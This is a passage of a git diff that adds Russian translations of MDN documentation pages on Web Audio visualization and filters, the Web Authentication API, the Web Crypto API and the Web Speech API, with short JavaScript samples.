This object must then be fed a mathmatically defined wave shape, which is applied to the base sound wave to create a distortion effect. These waves are not that easy to figure out, and the best way to start is to just search the Web for algorithms. For example, we found this on Stack Overflow:

+ +
function makeDistortionCurve(amount) {
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+ +

In the Voice-change-O-matic demo, we connect the distortion node up to the audio graph, then apply this to the distortion node when needed:

+ +
source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+
+...
+
+distortion.curve = makeDistortionCurve(400);
+
+ +

Biquad filter

+ +

The biquad filter has a number of options available inside it, and is created using the {{ domxref("AudioContext.createBiquadFilter") }} method:

+ +
var biquadFilter = audioCtx.createBiquadFilter();
+
+ +

The particular option used in the Voice-change-o-matic demo is a lowshelf filter, which basically provides a bass boost to the sound:

+ +
biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+
+ +

Here we specify the type of filter, a frequency value, and a gain value. In the case of a lowshelf filter, all frequencies below the specified frequency have their gain increased by 25 decibels.

+ +

Other things inside Web Audio API

+ +

The Web Audio API can do many other things other than audio visualization and spatializations (e.g. panning sound). We will cover other options in further articles, as this one has become long enough already!

diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html new file mode 100644 index 0000000000..732bc7add5 --- /dev/null +++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html @@ -0,0 +1,183 @@ +--- +title: Визуализация с Web Audio API +slug: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API +translation_of: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API +--- +
+

Одна из самых интересных фич Web Audio API — возможность извлекать частоту, форму волны и другие данные из звукового источника, которые могут быть использованы для создания визуализаций. Эта статья объясняет, как это можно сделать, и приводит несколько базовых юзкейсов.

+
+ +
+

Примечание: Вы можете найти рабочие примеры всех фрагментов кода в нашей демонстрации автоизменения голоса.

+
+ +

Основные концепции

+ +

Чтобы извлечь данные из вашего источника звука, вам понадобится {{ domxref("AnalyserNode") }}, созданный при помощи метода {{ domxref("AudioContext.createAnalyser()") }}, например:

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+ +

Затем этот узел подключается к вашему источнику звука где-то между получением звука и его обработкой, например:

+ +
source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(audioCtx.destination);
+ +
+

Примечание: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключен к источнику, либо напрямую, либо через другой узел.

+
+ +

Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определенной частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).

+ +
+

Примечание: Вы так же можете указать значения минимума и максимума для диапазона масштабирования данных БПФ, используя {{ domxref("AnalyserNode.minDecibels") }} и {{ domxref("AnalyserNode.maxDecibels") }}, и разные константы усреднения данных с помощью {{ domxref("AnalyserNode.smoothingTimeConstant") }}. Прочтите эти страницы, чтобы получить больше информации о том как их использовать.

+
+ +

Чтобы получить данные, Вам нужно использовать методы {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getByteFrequencyData()") }}, чтобы получить данные о частоте, и {{ domxref("AnalyserNode.getByteTimeDomainData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} чтобы получить данные о форме волны.

+ +

Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдет для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.

+ +

Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведем для данного размера fft.

+ +
analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+ +

Чтобы собрать данные и копировать их в массив, мы вызываем подходящий метод сбора данных, с массивом в качестве аргумента. Например:

+ +
analyser.getByteTimeDomainData(dataArray);
+ +

Теперь в массиве хранятся данные, описывающие звук в данный момент времени, и мы можем визуализировать их любым удобным образом, например с помощью холста HTML5: {{ htmlelement("canvas") }}.

+ +

Давайте рассмотрим конкретные примеры:

+ +

Создание формы волны/осциллографа

+ +

Чтобы визуализировать осциллограф (спасибо Soledad Penadés за код в Voice-change-O-matic), мы сначала следуем шаблону, описанному в предыдущей секции, для создания буфера:

+ +
analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+ +

Затем, мы очищаем холст:

+ +
canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+ +

И определяем функцию draw():

+ +
function draw() {
+ +

Здесь мы используем requestAnimationFrame() чтобы многократно вызывать эту функцию:

+ +
      drawVisual = requestAnimationFrame(draw);
+ +

Затем мы копируем данные в наш массив:

+ +
      analyser.getByteTimeDomainData(dataArray);
+ +

Устанавливаем заливку холста

+ +
      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+ +

Затем устанавливаем ширину линий и цвет волны, которую мы хотим нарисовать, и начинаем рисовать путь

+ +
      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+ +

Мы определяем ширину каждого отрезка в линии, деля длину холста на длину массива (равную FrequencyBinCount), затем определяем переменную x, задающую позицию, в которую необходимо перенести каждый отрезок.

+ +
      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+ +

В цикле, мы задаем позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:

+ +
      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+ +

Наконец, мы заканчиваем линию в середине правой стороны холста и рисуем, используя установленные цвет и ширину линий:

+ +
      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+ +

В конце концов, мы вызываем функцию draw() , запускающую весь процесс:

+ +
    draw();
+ +

Мы получаем изображение волны, обновляющееся несколько раз в секунду:

+ +

a black oscilloscope line, showing the waveform of an audio signal

+ +

Создание частотной гистограммы

+ +

Еще одна визуфлизация, которую можно создать, - это частотные дифграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.

+ +

Сначала мы снова создаем анализатор и массив для данных, затем очищаем холст при помощи clearRect(). Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядет как столбец, а не как тонкая полоска.

+ +
    analyser.fftSize = 256;
+    var bufferLength = analyser.frequencyBinCount;
+    console.log(bufferLength);
+    var dataArray = new Uint8Array(bufferLength);
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+ +

Затем мы запускаем функцию draw()  и задаем цикл при помощи requestAnimationFrame() таким образом, чтобы в каждом кадре анимации данные обновлялись.

+ +
    function draw() {
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteFrequencyData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(0, 0, 0)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+ +

Затем мы устанавливаем значение barWidth , равное ширине холста, деленной на количество столбцов (длину буфера). Однако, мы домножаем ширину на 2.5, поскольку на большинстве частот звука не будет, поскольку большинство звуков, которые мы слышим в повседневной жизни, находятся в определенных, достаточно низких, диапазонах частот. Нам нет смысла показывать множество пустых частот, поэтому мы просто сдвигаем столбцы, соответствующие наиболее распространенным частотам.

+ +

Мы также устанавливаем значение переменных barHeight и x , задающей то, где на холсте должен быть размещен каждый столбец.

+ +
      var barWidth = (WIDTH / bufferLength) * 2.5;
+      var barHeight;
+      var x = 0;
+ +

Как и раньше, мы в цикле проходим по каждому значению в  dataArray. Для каждого значения мы устанавливаем высоту barHeight на уровне значения в массиве, устанавливаем заливку в зависимости от barHeight (Чем выше столбец, тем он ярче), и рисуем столбец в x пикселях от левой стороны холста. Ширина столбца равна barWidth , а выстоа - barHeight/2 (чтобы столбцы помещались на холсте, мы уменьшили высоту в два раза)

+ +

Одна переменная, требующая объяснения, - это вертикальный сдвиг, с которым мы рисуем каждый столбец: HEIGHT-barHeight/2. Это делается для того, чтобы столбцы начинались в нижней части холста, а не в верхней, как было бы, если бы вертикальное положение было установлена в 0 0. Поэтому мы каждый раз устанавливаем вертикальное поожение в разность высоты холста и barHeight/2, чтобы столбцы начинались где-то между верхом и низом холста и заканчивались снизу.

+ +
      for(var i = 0; i < bufferLength; i++) {
+        barHeight = dataArray[i]/2;
+
+        canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)';
+        canvasCtx.fillRect(x,HEIGHT-barHeight/2,barWidth,barHeight);
+
+        x += barWidth + 1;
+      }
+    };
+ +

Снова, мы вызываем функцию draw() в конце кода, чтобы запустить процесс.

+ +
    draw();
+ +

Этот код дает нам следующий результат:

+ +

a series of red bars in a bar graph, showing intensity of different frequencies in an audio signal

+ +
+

Примечание: Примеры, используемые в данной статье, используют {{ domxref("AnalyserNode.getByteFrequencyData()") }} и {{ domxref("AnalyserNode.getByteTimeDomainData()") }}. Примеры работы с {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} можно найти в демо Voice-change-O-matic-float-data (Вы также можете посмотреть исходный код) — это то же самое, что и Voice-change-O-matic, но здесь используются данные типа float, а не unsigned vyte.

+
diff --git a/files/ru/web/api/web_authentication_api/index.html b/files/ru/web/api/web_authentication_api/index.html new file mode 100644 index 0000000000..19162bf4f9 --- /dev/null +++ b/files/ru/web/api/web_authentication_api/index.html @@ -0,0 +1,241 @@ +--- +title: Web Authentication API +slug: Web/API/Web_Authentication_API +translation_of: Web/API/Web_Authentication_API +--- +
{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}}
+ +

API Web Authentication - расширение Credential Management API, добавляющее аутентификацию с использованием криптографии с открытым ключом, вход без пароля и/или надёжный второй фактор, не требующий SMS.

+ +

Принципы и использование веб-аутентификации

+ +

API Web Authentication (также называемое WebAuthn) использует {{interwiki("wikipedia", "Public-key_cryptography", "ассметричную криптографию (систему с открытым ключом)")}} вместо паролей или SMS-сообщений для регистрации, входа и {{interwiki("wikipedia", "Multi-factor_authentication", "двухфакторной аутентификации")}} на веб-сайтах. Это устраняет многие значительные проблемы безопасности, такие как {{interwiki("wikipedia", "Phishing", "фишинг")}}, {{interwiki("wikipedia", "Data_breach", "утечки данных")}} и атаки на SMS или иные методы двухфакторной аутентификации, при этом сильно упрощая использование, т.к. пользователям не нужно запоминать десятки сложных паролей.

+ +

На многих сайтах уже есть страницы для регистрации и входа в существующие учетные записи, и Web Authentication API может быть как заменой, так и дополнением для них. Как и остальные виды Credential Management API, Web Authentication API содержит два базовых метода: для регистрации и для входа:

+ + + +

Обратите внимание, и create(), и get() работают только в Secure Context (например, когда подключение к серверу происходит через https или сервер работает на localhost).

+ +

In their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server. This proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network.

+ +

In order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser:

+ +
    +
  1. Server - the Web Authentication API is intended to register new credentials on a server (also referred to as a service or a relying party) and later use those same credentials on that same server to authenticate a user.
    2. +
  2. Authenticator - the credentials are created and stored in a device called an authenticator. This is a new concept in authentication: when authenticating using passwords, the password is stored in a user's brain and no other device is needed; when authenticating using web authentication, the password is replaced with a key pair that is stored in an authenticator. The authenticator may be embedded into an operating system, such as Windows Hello, or may be a physical token, such as a USB or Bluetooth Security Key.
    3. +
+ +

Регистрация

+ +

A typical registration process has six steps, as illustrated in Figure 1 and described further below. This is a simplification of the data required for the registration process that is only intended to provide an overview. The full set of required fields, optional fields, and their meanings for creating a registration request can be found in the {{domxref("PublicKeyCredentialCreationOptions")}} dictionary. Likewise, the full set of response fields can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAttestationResponse")}} interface). Note most JavaScript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.

+ +

Web Authentication API registration component and dataflow diagram

+ +

Figure 1 - a diagram showing the sequence of actions for a web authentication registration and the essential data associated with each action.

+ +

The registration steps are:

+ +
    +
  1. Приложение запрашивает регистрацию - The application makes the initial registration request. The protocol and format of this request is outside of the scope of the Web Authentication API.
    2. +
  2. Server Sends Challenge, User Info, and Relying Party Info - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the create() call, typically with little or no modification and returns a Promise that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.
    3. +
  3. Браузер вызвает authenticatorMakeCredential() для аутентификатора - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which is recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
    4. +
  4. Аутентификатор создает новую пару ключей и Attestation - Before doing anything, the authenticator will typically ask for some form of user verification. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting to the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.
    5. +
  5. Аутентификатор передает информацию в браузер - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.
    6. +
  6. Браузер создаёт итоговый набор данных, приложение отвечает серверу - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).
    7. +
  7. Сервер проверят и завершает регистрацию - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include: +
      +
    1. Verifying that the challenge is the same as the challenge that was sent
      2. +
    2. Ensuring that the origin was the origin expected
      3. +
    3. Validating that the signature over the clientDataHash and the attestation using the certificate chain for that specific model of the authenticator
      4. +
    + A complete list of validation steps can be found in the Web Authentication API specification. Assuming that the checks pan out, the server will store the new public key associated with the user's account for future use -- that is, whenever the user desires to use the public key for authentication.
    8. +
+ +

Аутентификация

+ +

After a user has registered with web authentication, they can subsequently authenticate (a.k.a. - login or sign-in) with the service. The authentication flow looks similar to the registration flow, and the illustration of actions in Figure 2 may be recognizable as being similar to the illustration of registration actions in Figure 1. The primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the previously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing. Again, the description of authentication below is a broad overview rather than getting into all the options and features of the Web Authentication API. The specific options for authenticating can be found in the {{domxref("PublicKeyCredentialRequestOptions")}} dictionary, and the resulting data can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAssertionResponse")}} interface) .

+ +

WebAuthn authentication component and dataflow diagram

+ +

Figure 2 - similar to Figure 1, a diagram showing the sequence of actions for a web authentication and the essential data associated with each action.

+ +
    +
  1. Приложение запрашивает аутентификацию - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of the Web Authentication API.
    2. +
  2. Server Sends Challenge - The server sends a challenge to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the get() call, typically with little or no modification. Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.
    3. +
  3. Браузер вызывает authenticatorGetCredential() для аутентификатора - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the get() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
    4. +
  4. Аутентификатор создает подпись - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.
    5. +
  5. Аутентификатор передает информацию в браузер - The authenticator returns the authenticatorData and assertion signature back to the browser.
    6. +
  6. Браузер создаёт итоговый набор данных, приложение отвечает серверу - The browser resolves the Promise to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.
    7. +
  7. Сервер проверят и завершает аутентификацию - Upon receiving the result of the authentication request, the server performs validation of the response such as: +
      +
    1. Using the public key that was stored during the registration request to validate the signature by the authenticator.
      2. +
    2. Ensuring that the challenge that was signed by the authenticator matches the challenge that was generated by the server.
      3. +
    3. Checking that the Relying Party ID is the one expected for this service.
      4. +
    + A full list of the steps for validating an assertion can be found in the Web Authentication API specification. Assuming the validation is successful, the server will note that the user is now authenticated. This is outside the scope of the Web Authentication API specification, but one option would be to drop a new cookie for the user session.
    8. +
+ +

Интерфейсы

+ +
+
{{domxref("Credential")}} {{experimental_inline}}
+
Provides information about an entity as a prerequisite to a trust decision.
+
{{domxref("CredentialsContainer")}}
+
Exposes methods to request credentials and notify the user agent when events such as successful sign in or sign out happen. This interface is accessible from {{domxref('Navigator.credentials')}}. The Web Authentication specification adds a publicKey member to the {{domxref('CredentialsContainer.create','create()')}} and {{domxref('CredentialsContainer.get','get()')}} methods to either create a new public key pair or get an authentication for a key pair, repsectively.
+
{{domxref("PublicKeyCredential")}}
+
Provides information about a public key / private key pair, which is a credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
+
{{domxref("AuthenticatorResponse")}}
+
The base interface for {{domxref("AuthenticatorAttestationResponse")}} and {{domxref("AuthenticatorAssertionResponse")}}, which provide a cryptographic root of trust for a key pair. Returned by {{domxref('CredentialsContainer.create()')}} and {{domxref('CredentialsContainer.get()')}}, respectively, the child interfaces include information from the browser such as the challenge origin. Either may be returned from {{domxref("PublicKeyCredential.response")}}.
+
{{domxref("AuthenticatorAttestationResponse")}}
+
Returned by {{domxref('CredentialsContainer.create()')}} when a {{domxref('PublicKeyCredential')}} is passed, and provides a cryptographic root of trust for the new key pair that has been generated.
+
{{domxref("AuthenticatorAssertionResponse")}}
+
Returned by {{domxref('CredentialsContainer.get()')}} when a {{domxref('PublicKeyCredential')}} is passed, and provides proof to a service that it has a key pair and that the authentication request is valid and approved.
+
+ +

Опции

+ +
+
{{domxref("PublicKeyCredentialCreationOptions")}}
+
Опции для {{domxref('CredentialsContainer.create()')}}.
+
{{domxref("PublicKeyCredentialRequestOptions")}}
+
Опции для {{domxref('CredentialsContainer.get()')}}.
+
+ +

Примеры

+ +
+

 В целях безопасности вызовы Web Authentication API ({{domxref('CredentialsContainer.create','create()')}} и {{domxref('CredentialsContainer.get','get()')}}) отменяются, если браузер теряет фокус до завершения вызова.

+
+ +
// sample arguments for registration
+var createCredentialDefaultArgs = {
+    publicKey: {
+        // Relying Party (a.k.a. - Service):
+        rp: {
+            name: "Acme"
+        },
+
+        // User:
+        user: {
+            id: new Uint8Array(16),
+            name: "john.p.smith@example.com",
+            displayName: "John P. Smith"
+        },
+
+        pubKeyCredParams: [{
+            type: "public-key",
+            alg: -7
+        }],
+
+        attestation: "direct",
+
+        timeout: 60000,
+
+        challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
+            0x8C, 0x0A, 0x26, 0xFF, 0x22, 0x91, 0xC1, 0xE9, 0xB9, 0x4E, 0x2E, 0x17, 0x1A, 0x98, 0x6A, 0x73,
+            0x71, 0x9D, 0x43, 0x48, 0xD5, 0xA7, 0x6A, 0x15, 0x7E, 0x38, 0x94, 0x52, 0x77, 0x97, 0x0F, 0xEF
+        ]).buffer
+    }
+};
+
+// sample arguments for login
+var getCredentialDefaultArgs = {
+    publicKey: {
+        timeout: 60000,
+        // allowCredentials: [newCredential] // see below
+        challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
+            0x79, 0x50, 0x68, 0x71, 0xDA, 0xEE, 0xEE, 0xB9, 0x94, 0xC3, 0xC2, 0x15, 0x67, 0x65, 0x26, 0x22,
+            0xE3, 0xF3, 0xAB, 0x3B, 0x78, 0x2E, 0xD5, 0x6F, 0x81, 0x26, 0xE2, 0xA6, 0x01, 0x7D, 0x74, 0x50
+        ]).buffer
+    },
+};
+
+// register / create a new credential
+navigator.credentials.create(createCredentialDefaultArgs)
+    .then((cred) => {
+        console.log("NEW CREDENTIAL", cred);
+
+        // normally the credential IDs available for an account would come from a server
+        // but we can just copy them from above...
+        var idList = [{
+            id: cred.rawId,
+            transports: ["usb", "nfc", "ble"],
+            type: "public-key"
+        }];
+        getCredentialDefaultArgs.publicKey.allowCredentials = idList;
+        return navigator.credentials.get(getCredentialDefaultArgs);
+    })
+    .then((assertion) => {
+        console.log("ASSERTION", assertion);
+    })
+    .catch((err) => {
+        console.log("ERROR", err);
+    });
+
+ + + +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('WebAuthn')}}{{Spec2('WebAuthn')}}Initial definition.
+ +

Совместимость

+ +

Credential

+ +

{{Compat("api.Credential")}}

+ +

CredentialsContainer

+ +

{{Compat("api.CredentialsContainer")}}

+ +

PublicKeyCredential

+ +

{{Compat("api.PublicKeyCredential")}}

+ +

AuthenticatorResponse

+ +

{{Compat("api.AuthenticatorResponse")}}

+ +

AuthenticatorAttestationResponse

+ +

{{Compat("api.AuthenticatorAttestationResponse")}}

+ +

AuthenticatorAssertionResponse

+ +

{{Compat("api.AuthenticatorAssertionResponse")}}

+ +

PublicKeyCredentialCreationOptions

+ +

{{Compat("api.PublicKeyCredentialCreationOptions")}}

+ +

PublicKeyCredentialRequestOptions

+ +

{{Compat("api.PublicKeyCredentialRequestOptions")}}

+ +

See also

+ + diff --git a/files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html b/files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html new file mode 100644 index 0000000000..ea8ec86586 --- /dev/null +++ b/files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html @@ -0,0 +1,33 @@ +--- +title: Проверка подлинности данных с паролем +slug: Web/API/Web_Crypto_API/Checking_authenticity_with_password +tags: + - HMAC + - Web Crypto +translation_of: Web/API/Web_Crypto_API/Checking_authenticity_with_password +--- +

{{APIRef("Web Crypto API")}}{{draft}}

+ +

Проверка подлинности данных может быть выполнена с помощью Web Crypto API. В этой статье мы покажем как создавать и управлять подписями, используя хэш-функцию и пароль.

+ +

HMAC алгоритм генерирует хэш на основе передаваемых ключа и данных, которые нужно подписать. Позже, идентичный хэш может быть вычислен заного любым пользователем, у которого имеется ключ. Необходимость ключа позволяет хранить данные и хэш вместе: злоумышленник не сможет создать хэш для измененных данных, не имея ключа.

+ +

Стоит заметить, что алгоритм никак не связан с какой-либо другой информацией о владельце: знание ключа – необходимое и достаточное условие для изменения данных.

+ +

Предположим, данные хранятся на компьютере. Чтобы получить доступ к записи или чтению, мы будем использовать localforage.js – библиотека-обертка над хранилищами браузера. Эта библиотека необязательна и используется в качестве примера для удобства, чтобы сосредоточиться на криптографии.

+ +

Данные, доступ к которым мы хотим получить, имеют следующую форму:

+ +

 

+ +

где data – данные для подписания и signature – подпись, информация для проверки подлинности.

+ +

Криптографические ключи невозможно выучить наизусть, а обычные пароли недостаточно безопасны. Чтобы решить эту проблему, криптографы создали алгоритмы для создания криптографических ключей из паролей. Знание пароля позволяет воссоздать ключ и использовать его.

+ +

Запрашиваем пароль у пользователя для генерации ключа:

+ +
 
+ +

С этим ключом мы можем вычислить хэш данных.

+ +
 
diff --git a/files/ru/web/api/web_crypto_api/index.html b/files/ru/web/api/web_crypto_api/index.html new file mode 100644 index 0000000000..08e1f04357 --- /dev/null +++ b/files/ru/web/api/web_crypto_api/index.html @@ -0,0 +1,80 @@ +--- +title: Web Crypto API +slug: Web/API/Web_Crypto_API +tags: + - API +translation_of: Web/API/Web_Crypto_API +--- +

{{DefaultAPISidebar("Web Crypto API")}}{{SeeCompatTable}}{{draft}}

+ +

Web Crypto API – интерфейс, позволяющий использовать криптографические примитивы для построения систем, манипулировать, хранить секретные ключи без необходимости делать доступными базовые биты ключа для JavaScript.

+ +

Интерфейс открывает доступ к следующим примитивам:

+ + + +

Web Crypto API не решает всех проблем, которые касаются использования криптографии на Web-сайтах или приложениях:

+ + + +
+

Внимание!

+ + +
+ +

Интерфейсы

+ +

Некоторые браузеры реализовали интерфейс {{domxref("Crypto")}}, но сделали это недостаточно точно или без должного уровня безопасности. Чтобы избежать конфуза с модулем {{domxref("Crypto")}} из пакета Node, методы и свойства интерфейса были перенесены в новый интерфейс: {{domxref("SubtleCrypto")}}. Свойство {{domxref("Crypto.subtle")}} даёт доступ к объекту, реализующему Web Crypto API.

+ +

Использование

+ +

Web Crypto API может использоваться для:

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("Web Crypto API")}}{{Spec2("Web Crypto API")}}Initial definition
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Crypto")}}

+ +
 
diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html new file mode 100644 index 0000000000..3398c86aad --- /dev/null +++ b/files/ru/web/api/web_speech_api/index.html @@ -0,0 +1,176 @@ +--- +title: Web Speech API +slug: Web/API/Web_Speech_API +translation_of: Web/API/Web_Speech_API +--- +
{{DefaultAPISidebar("Web Speech API")}}{{seecompattable}}
+ +
+

Web Speech API позволяет взаимодействовать с голосовыми интерфейсами в ваших веб приложениях. Web Speech API состоит из двух частей: SpeechSynthesis (Текст-в-Речь), и SpeechRecognition (Асинхронное распознавание речи)

+
+ +

Концепции и использование Web Speech

+ +

Web Speech API позволяет веб приложениям управлять голосовыми данными. Существует два компонента к этому API:

+ + + +

Для большей информации по использованию этих фич, смотрите Using the Web Speech API.

+ +

Интерфейсы Web Speech API

+ +

Распознавание речи

+ +
+
{{domxref("SpeechRecognition")}}
+
The controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.
+
{{domxref("SpeechRecognitionAlternative")}}
+
Представляет одно слово которое было распознано службой распознавания голоса.
+
{{domxref("SpeechRecognitionError")}}
+
Представляет сообщения об ошибках из службы распознавания.
+
{{domxref("SpeechRecognitionEvent")}}
+
The event object for the {{event("result")}} and {{event("nomatch")}} events, and contains all the data associated with an interim or final speech recognition result.
+
{{domxref("SpeechGrammar")}}
+
Слова или шаблоны слов которые мы хотим чтобы служба распознавания распознала.
+
{{domxref("SpeechGrammarList")}}
+
Представляет список объектов {{domxref("SpeechGrammar")}}.
+
{{domxref("SpeechRecognitionResult")}}
+
Представляет одно распознанное совпадение, которое может содержать несколько объектов {{domxref("SpeechRecognitionAlternative")}}.
+
{{domxref("SpeechRecognitionResultList")}}
+
Represents a list of {{domxref("SpeechRecognitionResult")}} objects, or a single one if results are being captured in {{domxref("SpeechRecognition.continuous","continuous")}} mode.
+
+ +

Синтезирование речи

+ +
+
{{domxref("SpeechSynthesis")}}
+
The controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.
+
{{domxref("SpeechSynthesisErrorEvent")}}
+
Contains information about any errors that occur while processing {{domxref("SpeechSynthesisUtterance")}} objects in the speech service.
+
{{domxref("SpeechSynthesisEvent")}}
+
